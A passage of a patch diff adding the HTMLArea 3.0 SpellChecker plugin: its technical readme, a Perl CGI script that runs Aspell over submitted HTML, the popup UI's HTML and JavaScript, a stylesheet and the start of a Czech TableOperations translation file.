+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
+
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+ <head>
+ <title>HTMLArea Spell Checker</title>
+ </head>
+
+ <body>
+ <h1>HTMLArea Spell Checker</h1>
+
+ <p>The HTMLArea Spell Checker subsystem consists of the following
+ files:</p>
+
+ <ul>
+
+ <li>spell-checker.js — the spell checker plugin interface for
+ HTMLArea</li>
+
+ <li>spell-checker-ui.html — the HTML code for the user
+ interface</li>
+
+ <li>spell-checker-ui.js — functionality of the user
+ interface</li>
+
+ <li>spell-checker-logic.cgi — Perl CGI script that checks a text
+ given through POST for spelling errors</li>
+
+ <li>spell-checker-style.css — style for mispelled words</li>
+
+ <li>lang/en.js — main language file (English).</li>
+
+ </ul>
+
+ <h2>Process overview</h2>
+
+ <p>
+ When an end-user clicks the "spell-check" button in the HTMLArea
+ editor, a new window is opened with the URL of "spell-check-ui.html".
+ This window initializes itself with the text found in the editor (uses
+ <tt>window.opener.SpellChecker.editor</tt> global variable) and it
+ submits the text to the server-side script "spell-check-logic.cgi".
+ The target of the FORM is an inline frame which is used both to
+ display the text and correcting.
+ </p>
+
+ <p>
+ Further, spell-check-logic.cgi calls Aspell for each portion of plain
+ text found in the given HTML. It rebuilds an HTML file that contains
+ clear marks of which words are incorrect, along with suggestions for
+ each of them. This file is then loaded in the inline frame. Upon
+ loading, a JavaScript function from "spell-check-ui.js" is called.
+ This function will retrieve all mispelled words from the HTML of the
+ iframe and will setup the user interface so that it allows correction.
+ </p>
+
+ <h2>The server-side script (spell-check-logic.cgi)</h2>
+
+ <p>
+ <strong>Unicode safety</strong> — the program <em>is</em>
+ Unicode safe. HTML entities are expanded into their corresponding
+ Unicode characters. These characters will be matched as part of the
+ word passed to Aspell. All texts passed to Aspell are in Unicode
+ (when appropriate). <strike>However, Aspell seems to not support Unicode
+ yet (<a
+ href="http://mail.gnu.org/archive/html/aspell-user/2000-11/msg00007.html">thread concerning Aspell and Unicode</a>).
+ This mean that words containing Unicode
+ characters that are not in 0..255 are likely to be reported as "mispelled" by Aspell.</strike>
+ </p>
+
+ <p>
+ <strong style="font-variant: small-caps; color:
+ red;">Update:</strong> though I've never seen it mentioned
+ anywhere, it looks that Aspell <em>does</em>, in fact, speak
+ Unicode. Or else, maybe <code>Text::Aspell</code> does
+ transparent conversion; anyway, this new version of our
+ SpellChecker plugin is, as tests show so far, fully
+ Unicode-safe... well, probably the <em>only</em> freeware
+ Web-based spell-checker which happens to have Unicode support.
+ </p>
+
+ <p>
+ The Perl Unicode manual (man perluniintro) states:
+ </p>
+
+ <blockquote>
+ <em>
+ Starting from Perl 5.6.0, Perl has had the capacity to handle Unicode
+ natively. Perl 5.8.0, however, is the first recommended release for
+ serious Unicode work. The maintenance release 5.6.1 fixed many of the
+ problems of the initial Unicode implementation, but for example regular
+ expressions still do not work with Unicode in 5.6.1.
+ </em>
+ </blockquote>
+
+ <p>In other words, do <em>not</em> assume that this script is
+ Unicode-safe on Perl interpreters older than 5.8.0.</p>
+
+ <p>The following Perl modules are required:</p>
+
+ <ul>
+ <li><a href="http://search.cpan.org/search?query=Text%3A%3AAspell&mode=all" target="_blank">Text::Aspell</a></li>
+ <li><a href="http://search.cpan.org/search?query=XML%3A%3ADOM&mode=all" target="_blank">XML::DOM</a></li>
+ <li><a href="http://search.cpan.org/search?query=CGI&mode=all" target="_blank">CGI</a></li>
+ </ul>
+
+ <p>Of these, only Text::Aspell might need to be installed manually. The
+ others are likely to be available by default in most Perl distributions.</p>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Thu Jul 17 13:22:27 EEST 2003 -->
+<!-- hhmts start --> Last modified: Fri Jan 30 19:14:11 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+#! /usr/bin/perl -w
+
+# Spell Checker Plugin for HTMLArea-3.0
+# Sponsored by www.americanbible.org
+# Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+#
+# (c) dynarch.com 2003.
+# Distributed under the same terms as HTMLArea itself.
+# This notice MUST stay intact for use (see license.txt).
+#
+# $Id: spell-check-logic.cgi,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+use strict;
+use utf8;
+use Encode;
+use Text::Aspell;
+use XML::DOM;
+use CGI;
+
+my $TIMER_start = undef;
+eval {
+ use Time::HiRes qw( gettimeofday tv_interval );
+ $TIMER_start = [gettimeofday()];
+};
+# use POSIX qw( locale_h );
+
+binmode STDIN, ':utf8';
+binmode STDOUT, ':utf8';
+
+my $debug = 0;
+
+my $speller = new Text::Aspell;
+my $cgi = new CGI;
+
+my $total_words = 0;
+my $total_mispelled = 0;
+my $total_suggestions = 0;
+my $total_words_suggested = 0;
+
+# FIXME: report a nice error...
+die "Can't create speller!" unless $speller;
+
+my $dict = $cgi->param('dictionary') || $cgi->cookie('dictionary') || 'en';
+
+# add configurable option for this
+$speller->set_option('lang', $dict);
+$speller->set_option('encoding', 'UTF-8');
+#setlocale(LC_CTYPE, $dict);
+
+# ultra, fast, normal, bad-spellers
+# bad-spellers seems to cause segmentation fault
+$speller->set_option('sug-mode', 'normal');
+
+my %suggested_words = ();
+keys %suggested_words = 128;
+
+my $file_content = decode('UTF-8', $cgi->param('content'));
+$file_content = parse_with_dom($file_content);
+
+my $ck_dictionary = $cgi->cookie(-name => 'dictionary',
+ -value => $dict,
+ -expires => '+30d');
+
+print $cgi->header(-type => 'text/html; charset: utf-8',
+ -cookie => $ck_dictionary);
+
+my $js_suggested_words = make_js_hash(\%suggested_words);
+my $js_spellcheck_info = make_js_hash_from_array
+ ([
+ [ 'Total words' , $total_words ],
+ [ 'Mispelled words' , $total_mispelled . ' in dictionary \"'.$dict.'\"' ],
+ [ 'Total suggestions' , $total_suggestions ],
+ [ 'Total words suggested' , $total_words_suggested ],
+ [ 'Spell-checked in' , defined $TIMER_start ? (tv_interval($TIMER_start) . ' seconds') : 'n/a' ]
+ ]);
+
+print qq^<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" media="all" href="spell-check-style.css" />
+<script type="text/javascript">
+ var suggested_words = { $js_suggested_words };
+ var spellcheck_info = { $js_spellcheck_info }; </script>
+</head>
+<body onload="window.parent.finishedSpellChecking();">^;
+
+print $file_content;
+if ($cgi->param('init') eq '1') {
+ my @dicts = $speller->dictionary_info();
+ my $dictionaries = '';
+ foreach my $i (@dicts) {
+ next if $i->{jargon};
+ my $name = $i->{name};
+ if ($name eq $dict) {
+ $name = '@'.$name;
+ }
+ $dictionaries .= ',' . $name;
+ }
+ $dictionaries =~ s/^,//;
+ print qq^<div id="HA-spellcheck-dictionaries">$dictionaries</div>^;
+}
+
+print '</body></html>';
+
+# Perl is beautiful.
+sub spellcheck {
+ my $node = shift;
+ my $doc = $node->getOwnerDocument;
+ my $check = sub { # called for each word in the text
+ # input is in UTF-8
+ my $word = shift;
+ my $already_suggested = defined $suggested_words{$word};
+ ++$total_words;
+ if (!$already_suggested && $speller->check($word)) {
+ return undef;
+ } else {
+ # we should have suggestions; give them back to browser in UTF-8
+ ++$total_mispelled;
+ if (!$already_suggested) {
+ # compute suggestions for this word
+ my @suggestions = $speller->suggest($word);
+ my $suggestions = decode($speller->get_option('encoding'), join(',', @suggestions));
+ $suggested_words{$word} = $suggestions;
+ ++$total_suggestions;
+ $total_words_suggested += scalar @suggestions;
+ }
+ # HA-spellcheck-error
+ my $err = $doc->createElement('span');
+ $err->setAttribute('class', 'HA-spellcheck-error');
+ my $tmp = $doc->createTextNode;
+ $tmp->setNodeValue($word);
+ $err->appendChild($tmp);
+ return $err;
+ }
+ };
+ while ($node->getNodeValue =~ /([\p{IsWord}']+)/) {
+ my $word = $1;
+ my $before = $`;
+ my $after = $';
+ my $df = &$check($word);
+ if (!$df) {
+ $before .= $word;
+ }
+ {
+ my $parent = $node->getParentNode;
+ my $n1 = $doc->createTextNode;
+ $n1->setNodeValue($before);
+ $parent->insertBefore($n1, $node);
+ $parent->insertBefore($df, $node) if $df;
+ $node->setNodeValue($after);
+ }
+ }
+};
+
+sub check_inner_text {
+ my $node = shift;
+ my $text = '';
+ for (my $i = $node->getFirstChild; defined $i; $i = $i->getNextSibling) {
+ if ($i->getNodeType == TEXT_NODE) {
+ spellcheck($i);
+ }
+ }
+};
+
+sub parse_with_dom {
+ my ($text) = @_;
+ $text = '<spellchecker>'.$text.'</spellchecker>';
+
+ my $parser = new XML::DOM::Parser;
+ if ($debug) {
+ open(FOO, '>:utf8', '/tmp/foo');
+ print FOO $text;
+ close FOO;
+ }
+ my $doc = $parser->parse($text);
+ my $nodes = $doc->getElementsByTagName('*');
+ my $n = $nodes->getLength;
+
+ for (my $i = 0; $i < $n; ++$i) {
+ my $node = $nodes->item($i);
+ if ($node->getNodeType == ELEMENT_NODE) {
+ check_inner_text($node);
+ }
+ }
+
+ my $ret = $doc->toString;
+ $ret =~ s{<spellchecker>(.*)</spellchecker>}{$1}sg;
+ return $ret;
+};
+
+sub make_js_hash {
+ my ($hash) = @_;
+ my $js_hash = '';
+ while (my ($key, $val) = each %$hash) {
+ $js_hash .= ',' if $js_hash;
+ $js_hash .= '"'.$key.'":"'.$val.'"';
+ }
+ return $js_hash;
+};
+
+sub make_js_hash_from_array {
+ my ($array) = @_;
+ my $js_hash = '';
+ foreach my $i (@$array) {
+ $js_hash .= ',' if $js_hash;
+ $js_hash .= '"'.$i->[0].'":"'.$i->[1].'"';
+ }
+ return $js_hash;
+};
--- /dev/null
+.HA-spellcheck-error { border-bottom: 1px dashed #f00; cursor: default; }
+.HA-spellcheck-same { background-color: #cef; color: #000; }
+.HA-spellcheck-hover { background-color: #433; color: white; }
+.HA-spellcheck-fixed { border-bottom: 1px dashed #0b8; }
+.HA-spellcheck-current { background-color: #9be; color: #000; }
+.HA-spellcheck-suggestions { display: none; }
+
+#HA-spellcheck-dictionaries { display: none; }
+
+a:link, a:visited { color: #55e; }
--- /dev/null
+<!--
+
+ Strangely, IE sucks with or without the DOCTYPE switch.
+ I thought it would only suck without it.
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
+ "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+
+ Spell Checker Plugin for HTMLArea-3.0
+ Sponsored by www.americanbible.org
+ Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+
+ (c) dynarch.com 2003.
+ Distributed under the same terms as HTMLArea itself.
+ This notice MUST stay intact for use (see license.txt).
+
+ $Id: spell-check-ui.html,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+
+ <head>
+ <title>Spell Checker</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript" src="spell-check-ui.js"></script>
+
+ <style type="text/css">
+ html, body { height: 100%; margin: 0px; padding: 0px; background-color: #fff;
+ color: #000; }
+ a:link, a:visited { color: #00f; text-decoration: none; }
+ a:hover { color: #f00; text-decoration: underline; }
+
+ table { background-color: ButtonFace; color: ButtonText;
+ font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+
+ iframe { background-color: #fff; color: #000; height: 100%; width: 100%; }
+
+ .controls { width: 13em; }
+ .controls .sectitle { /* background-color: #736c6c; color: #fff;
+ border-top: 1px solid #000; border-bottom: 1px solid #fff; */
+ text-align: center;
+ font-weight: bold; padding: 2px 4px; }
+ .controls .secbody { margin-bottom: 10px; }
+
+ button, select { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+ button { width: 6em; padding: 0px; }
+
+ input, select { font-family: fixed,"andale mono",monospace; }
+
+ #v_currentWord { color: #f00; font-weight: bold; }
+ #statusbar { padding: 7px 0px 0px 5px; }
+ #status { font-weight: bold; }
+ </style>
+
+ </head>
+
+ <body onload="initDocument()">
+
+ <form style="display: none;" action="spell-check-logic.cgi"
+ method="post" target="framecontent"
+ accept-charset="UTF-8"
+ ><input type="hidden" name="content" id="f_content"
+ /><input type="hidden" name="dictionary" id="f_dictionary"
+ /><input type="hidden" name="init" id="f_init" value="1"
+ /></form>
+
+ <table style="height: 100%; width: 100%; border-collapse: collapse;" cellspacing="0" cellpadding="0">
+ <tr>
+ <td colspan="2" style="height: 1em; padding: 2px;">
+ <div style="float: right; padding: 2px;"><span>Dictionary</span>
+ <select id="v_dictionaries" style="width: 10em"></select>
+ <button id="b_recheck">Re-check</button>
+ </div>
+ <span id="status">Please wait. Calling spell checker.</span>
+ </td>
+ </tr>
+ <tr>
+ <td valign="top" class="controls">
+ <div class="secbody" style="text-align: center">
+ <button id="b_info">Info</button>
+ </div>
+ <div class="sectitle">Original word</div>
+ <div class="secbody" id="v_currentWord" style="text-align:
+ center; margin-bottom: 0px;">pliz weit ;-)</div>
+ <div class="secbody" style="text-align: center">
+ <button id="b_revert">Revert</button>
+ </div>
+ <div class="sectitle">Replace with</div>
+ <div class="secbody">
+ <input type="text" id="v_replacement" style="width: 94%; margin-left: 3%;" /><br />
+ <div style="text-align: center; margin-top: 2px;">
+ <button id="b_replace">Replace</button><button
+ id="b_replall">Replace all</button><br /><button
+ id="b_ignore">Ignore</button><button
+ id="b_ignall">Ignore all</button>
+ </div>
+ </div>
+ <div class="sectitle">Suggestions</div>
+ <div class="secbody">
+ <select size="11" style="width: 94%; margin-left: 3%;" id="v_suggestions"></select>
+ </div>
+ </td>
+
+ <td>
+ <iframe src="about:blank" width="100%" height="100%"
+ id="i_framecontent" name="framecontent"></iframe>
+ </td>
+ </tr>
+ <tr>
+ <td style="height: 1em;" colspan="2">
+ <div style="padding: 4px 2px 2px 2px; float: right;">
+ <button id="b_ok">OK</button>
+ <button id="b_cancel">Cancel</button>
+ </div>
+ <div id="statusbar"></div>
+ </td>
+ </tr>
+ </table>
+
+ </body>
+
+</html>
--- /dev/null
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-check-ui.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+// internationalization file was already loaded in parent ;-)
+var SpellChecker = window.opener.SpellChecker;
+var i18n = SpellChecker.I18N;
+
+var HTMLArea = window.opener.HTMLArea;
+var is_ie = HTMLArea.is_ie;
+var editor = SpellChecker.editor;
+var frame = null;
+var currentElement = null;
+var wrongWords = null;
+var modified = false;
+var allWords = {};
+var fixedWords = [];
+var suggested_words = {};
+
+function makeCleanDoc(leaveFixed) {
+ // document.getElementById("status").innerHTML = 'Please wait: rendering valid HTML';
+ var words = wrongWords.concat(fixedWords);
+ for (var i = words.length; --i >= 0;) {
+ var el = words[i];
+ if (!(leaveFixed && /HA-spellcheck-fixed/.test(el.className))) {
+ el.parentNode.insertBefore(el.firstChild, el);
+ el.parentNode.removeChild(el);
+ } else
+ el.className = "HA-spellcheck-fixed";
+ }
+ // we should use innerHTML here, but IE6's implementation fucks up the
+ // HTML to such extent that our poor Perl parser doesn't understand it
+ // anymore.
+ return window.opener.HTMLArea.getHTML(frame.contentWindow.document.body, false, editor);
+};
+
+function recheckClicked() {
+ document.getElementById("status").innerHTML = i18n["Please wait: changing dictionary to"] + ': "' + document.getElementById("f_dictionary").value + '".';
+ var field = document.getElementById("f_content");
+ field.value = makeCleanDoc(true);
+ field.form.submit();
+};
+
+function saveClicked() {
+ if (modified) {
+ editor.setHTML(makeCleanDoc(false));
+ }
+ window.close();
+ return false;
+};
+
+function cancelClicked() {
+ var ok = true;
+ if (modified) {
+ ok = confirm(i18n["QUIT_CONFIRMATION"]);
+ }
+ if (ok) {
+ window.close();
+ }
+ return false;
+};
+
+function replaceWord(el) {
+ var replacement = document.getElementById("v_replacement").value;
+ var this_word_modified = (el.innerHTML != replacement);
+ if (this_word_modified)
+ modified = true;
+ if (el) {
+ el.className = el.className.replace(/\s*HA-spellcheck-(hover|fixed)\s*/g, " ");
+ }
+ el.className += " HA-spellcheck-fixed";
+ el.__msh_fixed = true;
+ if (!this_word_modified) {
+ return false;
+ }
+ el.innerHTML = replacement;
+};
+
+function replaceClicked() {
+ replaceWord(currentElement);
+ var start = currentElement.__msh_id;
+ var index = start;
+ do {
+ ++index;
+ if (index == wrongWords.length) {
+ index = 0;
+ }
+ } while ((index != start) && wrongWords[index].__msh_fixed);
+ if (index == start) {
+ index = 0;
+ alert(i18n["Finished list of mispelled words"]);
+ }
+ wrongWords[index].__msh_wordClicked(true);
+ return false;
+};
+
+function revertClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceWord(currentElement);
+ currentElement.className = "HA-spellcheck-error HA-spellcheck-current";
+ return false;
+};
+
+function replaceAllClicked() {
+ var replacement = document.getElementById("v_replacement").value;
+ var ok = true;
+ var spans = allWords[currentElement.__msh_origWord];
+ if (spans.length == 0) {
+ alert("An impossible condition just happened. Call FBI. ;-)");
+ } else if (spans.length == 1) {
+ replaceClicked();
+ return false;
+ }
+ /*
+ var message = "The word \"" + currentElement.__msh_origWord + "\" occurs " + spans.length + " times.\n";
+ if (replacement == currentElement.__msh_origWord) {
+ ok = confirm(message + "Ignore all occurrences?");
+ } else {
+ ok = confirm(message + "Replace all occurrences with \"" + replacement + "\"?");
+ }
+ */
+ if (ok) {
+ for (var i in spans) {
+ if (spans[i] != currentElement) {
+ replaceWord(spans[i]);
+ }
+ }
+ // replace current element the last, so that we jump to the next word ;-)
+ replaceClicked();
+ }
+ return false;
+};
+
+function ignoreClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceClicked();
+ return false;
+};
+
+function ignoreAllClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceAllClicked();
+ return false;
+};
+
+function learnClicked() {
+ alert("Not [yet] implemented");
+ return false;
+};
+
+function internationalizeWindow() {
+ var types = ["div", "span", "button"];
+ for (var i in types) {
+ var tag = types[i];
+ var els = document.getElementsByTagName(tag);
+ for (var j = els.length; --j >= 0;) {
+ var el = els[j];
+ if (el.childNodes.length == 1 && /\S/.test(el.innerHTML)) {
+ var txt = el.innerHTML;
+ if (typeof i18n[txt] != "undefined") {
+ el.innerHTML = i18n[txt];
+ }
+ }
+ }
+ }
+};
+
+function initDocument() {
+ internationalizeWindow();
+ modified = false;
+ frame = document.getElementById("i_framecontent");
+ var field = document.getElementById("f_content");
+ field.value = HTMLArea.getHTML(editor._doc.body, false, editor);
+ field.form.submit();
+ document.getElementById("f_init").value = "0";
+
+ // assign some global event handlers
+
+ var select = document.getElementById("v_suggestions");
+ select.onchange = function() {
+ document.getElementById("v_replacement").value = this.value;
+ };
+ if (is_ie) {
+ select.attachEvent("ondblclick", replaceClicked);
+ } else {
+ select.addEventListener("dblclick", replaceClicked, true);
+ }
+
+ document.getElementById("b_replace").onclick = replaceClicked;
+ // document.getElementById("b_learn").onclick = learnClicked;
+ document.getElementById("b_replall").onclick = replaceAllClicked;
+ document.getElementById("b_ignore").onclick = ignoreClicked;
+ document.getElementById("b_ignall").onclick = ignoreAllClicked;
+ document.getElementById("b_recheck").onclick = recheckClicked;
+ document.getElementById("b_revert").onclick = revertClicked;
+ document.getElementById("b_info").onclick = displayInfo;
+
+ document.getElementById("b_ok").onclick = saveClicked;
+ document.getElementById("b_cancel").onclick = cancelClicked;
+
+ select = document.getElementById("v_dictionaries");
+ select.onchange = function() {
+ document.getElementById("f_dictionary").value = this.value;
+ };
+};
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function wordClicked(scroll) {
+ var self = this;
+ if (scroll) (function() {
+ var pos = getAbsolutePos(self);
+ var ws = { x: frame.offsetWidth - 4,
+ y: frame.offsetHeight - 4 };
+ var wp = { x: frame.contentWindow.document.body.scrollLeft,
+ y: frame.contentWindow.document.body.scrollTop };
+ pos.x -= Math.round(ws.x/2);
+ if (pos.x < 0) pos.x = 0;
+ pos.y -= Math.round(ws.y/2);
+ if (pos.y < 0) pos.y = 0;
+ frame.contentWindow.scrollTo(pos.x, pos.y);
+ })();
+ if (currentElement) {
+ var a = allWords[currentElement.__msh_origWord];
+ currentElement.className = currentElement.className.replace(/\s*HA-spellcheck-current\s*/g, " ");
+ for (var i in a) {
+ var el = a[i];
+ if (el != currentElement) {
+ el.className = el.className.replace(/\s*HA-spellcheck-same\s*/g, " ");
+ }
+ }
+ }
+ currentElement = this;
+ this.className += " HA-spellcheck-current";
+ var a = allWords[currentElement.__msh_origWord];
+ for (var i in a) {
+ var el = a[i];
+ if (el != currentElement) {
+ el.className += " HA-spellcheck-same";
+ }
+ }
+ // document.getElementById("b_replall").disabled = (a.length <= 1);
+ // document.getElementById("b_ignall").disabled = (a.length <= 1);
+ var txt;
+ if (a.length == 1) {
+ txt = "one occurrence";
+ } else if (a.length == 2) {
+ txt = "two occurrences";
+ } else {
+ txt = a.length + " occurrences";
+ }
+ var suggestions = suggested_words[this.__msh_origWord];
+ if (suggestions)
+ suggestions = suggestions.split(/,/);
+ else
+ suggestions = [];
+ var select = document.getElementById("v_suggestions");
+ document.getElementById("statusbar").innerHTML = "Found " + txt +
+ ' for word "<b>' + currentElement.__msh_origWord + '</b>"';
+ for (var i = select.length; --i >= 0;) {
+ select.remove(i);
+ }
+ for (var i = 0; i < suggestions.length; ++i) {
+ var txt = suggestions[i];
+ var option = document.createElement("option");
+ option.value = txt;
+ option.appendChild(document.createTextNode(txt));
+ select.appendChild(option);
+ }
+ document.getElementById("v_currentWord").innerHTML = this.__msh_origWord;
+ if (suggestions.length > 0) {
+ select.selectedIndex = 0;
+ select.onchange();
+ } else {
+ document.getElementById("v_replacement").value = this.innerHTML;
+ }
+ select.style.display = "none";
+ select.style.display = "block";
+ return false;
+};
+
+function wordMouseOver() {
+ this.className += " HA-spellcheck-hover";
+};
+
+function wordMouseOut() {
+ this.className = this.className.replace(/\s*HA-spellcheck-hover\s*/g, " ");
+};
+
+function displayInfo() {
+ var info = frame.contentWindow.spellcheck_info;
+ if (!info)
+ alert("No information available");
+ else {
+ var txt = "** Document information **";
+ for (var i in info) {
+ txt += "\n" + i + " : " + info[i];
+ }
+ alert(txt);
+ }
+ return false;
+};
+
+function finishedSpellChecking() {
+ // initialization of global variables
+ currentElement = null;
+ wrongWords = null;
+ allWords = {};
+ fixedWords = [];
+ suggested_words = frame.contentWindow.suggested_words;
+
+ document.getElementById("status").innerHTML = "HTMLArea Spell Checker (<a href='readme-tech.html' target='_blank' title='Technical information'>info</a>)";
+ var doc = frame.contentWindow.document;
+ var spans = doc.getElementsByTagName("span");
+ var sps = [];
+ var id = 0;
+ for (var i = 0; i < spans.length; ++i) {
+ var el = spans[i];
+ if (/HA-spellcheck-error/.test(el.className)) {
+ sps.push(el);
+ el.__msh_wordClicked = wordClicked;
+ el.onclick = function(ev) {
+ ev || (ev = window.event);
+ ev && HTMLArea._stopEvent(ev);
+ return this.__msh_wordClicked(false);
+ };
+ el.onmouseover = wordMouseOver;
+ el.onmouseout = wordMouseOut;
+ el.__msh_id = id++;
+ var txt = (el.__msh_origWord = el.firstChild.data);
+ el.__msh_fixed = false;
+ if (typeof allWords[txt] == "undefined") {
+ allWords[txt] = [el];
+ } else {
+ allWords[txt].push(el);
+ }
+ } else if (/HA-spellcheck-fixed/.test(el.className)) {
+ fixedWords.push(el);
+ }
+ }
+ wrongWords = sps;
+ if (sps.length == 0) {
+ if (!modified) {
+ alert(i18n["NO_ERRORS_CLOSING"]);
+ window.close();
+ } else {
+ alert(i18n["NO_ERRORS"]);
+ }
+ return false;
+ }
+ (currentElement = sps[0]).__msh_wordClicked(true);
+ var as = doc.getElementsByTagName("a");
+ for (var i = as.length; --i >= 0;) {
+ var a = as[i];
+ a.onclick = function() {
+ if (confirm(i18n["CONFIRM_LINK_CLICK"] + ":\n" +
+ this.href + "\n" + i18n["I will open it in a new page."])) {
+ window.open(this.href);
+ }
+ return false;
+ };
+ }
+ var dicts = doc.getElementById("HA-spellcheck-dictionaries");
+ if (dicts) {
+ dicts.parentNode.removeChild(dicts);
+ dicts = dicts.innerHTML.split(/,/);
+ var select = document.getElementById("v_dictionaries");
+ for (var i = select.length; --i >= 0;) {
+ select.remove(i);
+ }
+ for (var i = 0; i < dicts.length; ++i) {
+ var txt = dicts[i];
+ var option = document.createElement("option");
+ if (/^@(.*)$/.test(txt)) {
+ txt = RegExp.$1;
+ option.selected = true;
+ }
+ option.value = txt;
+ option.appendChild(document.createTextNode(txt));
+ select.appendChild(option);
+ }
+ }
+};
--- /dev/null
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-checker.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+function SpellChecker(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = SpellChecker.I18N;
+ var bl = SpellChecker.btnList;
+ var self = this;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = [];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (!btn) {
+ toolbar.push("separator");
+ } else {
+ var id = "SC-" + btn[0];
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "SpellChecker"), false,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ }
+ }
+
+ for (var i in toolbar) {
+ cfg.toolbar[0].push(toolbar[i]);
+ }
+};
+
+SpellChecker._pluginInfo = {
+ name : "SpellChecker",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "American Bible Society",
+ sponsor_url : "http://www.americanbible.org",
+ license : "htmlArea"
+};
+
+SpellChecker.btnList = [
+ null, // separator
+ ["spell-check"]
+ ];
+
+SpellChecker.prototype.buttonPress = function(editor, id) {
+ switch (id) {
+ case "SC-spell-check":
+ SpellChecker.editor = editor;
+ SpellChecker.init = true;
+ var uiurl = _editor_url + "plugins/SpellChecker/spell-check-ui.html";
+ var win;
+ if (HTMLArea.is_ie) {
+ win = window.open(uiurl, "SC_spell_checker",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=600,height=450");
+ } else {
+ win = window.open(uiurl, "SC_spell_checker",
+ "toolbar=no,menubar=no,personalbar=no,width=600,height=450," +
+ "scrollbars=no,resizable=yes");
+ }
+ win.focus();
+ break;
+ }
+};
+
+// this needs to be global, it's accessed from spell-check-ui.html
+SpellChecker.editor = null;
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Zarovnání",\r\r
+ "All four sides": "Všechny čtyři strany",\r\r
+ "Background": "Pozadí",\r\r
+ "Baseline": "Základní linka",\r\r
+ "Border": "Obrys",\r\r
+ "Borders": "Obrysy",\r\r
+ "Bottom": "Dolů",\r\r
+ "CSS Style": "Kaskádové styly (CSS)",\r\r
+ "Caption": "Titulek",\r\r
+ "Cell Properties": "Vlastnosti buňky",\r\r
+ "Center": "Na střed",\r\r
+ "Char": "Znak",\r\r
+ "Collapsed borders": "Stlačené okraje",\r\r
+ "Color": "Barva",\r\r
+ "Description": "Popis",\r\r
+ "FG Color": "Barva popředí",\r\r
+ "Float": "Obtékání",\r\r
+ "Frames": "Rámečky",\r\r
+ "Height": "Výška",\r\r
+ "How many columns would you like to merge?": "Kolik sloupců si přejete spojit?",\r\r
+ "How many rows would you like to merge?": "Kolik řádků si přejete spojit?",\r\r
+ "Image URL": "Adresa obrázku",\r\r
+ "Justify": "Do stran",\r\r
+ "Layout": "Rozložení",\r\r
+ "Left": "Vlevo",\r\r
+ "Margin": "Okraj",\r\r
+ "Middle": "Na střed",\r\r
+ "No rules": "Žádné čáry",\r\r
+ "No sides": "Žádné strany",\r\r
+ "None": "Žádné",\r\r
+ "Padding": "Odsazování",\r\r
+ "Please click into some cell": "Prosím klikněte do některé buňky",\r\r
+ "Right": "Vpravo",\r\r
+ "Row Properties": "Vlastnosti řádku",\r\r
+ "Rules will appear between all rows and columns": "Čáry mezi všemi řádky i sloupci",\r\r
+ "Rules will appear between columns only": "Čáry pouze mezi sloupci",\r\r
+ "Rules will appear between rows only": "Čáry pouze mezi řádky",\r\r
+ "Rules": "Čáry",\r\r
+ "Spacing and padding": "Mezery a odsazování",\r\r
+ "Spacing": "Mezery",\r\r
+ "Summary": "Shrnutí",\r\r
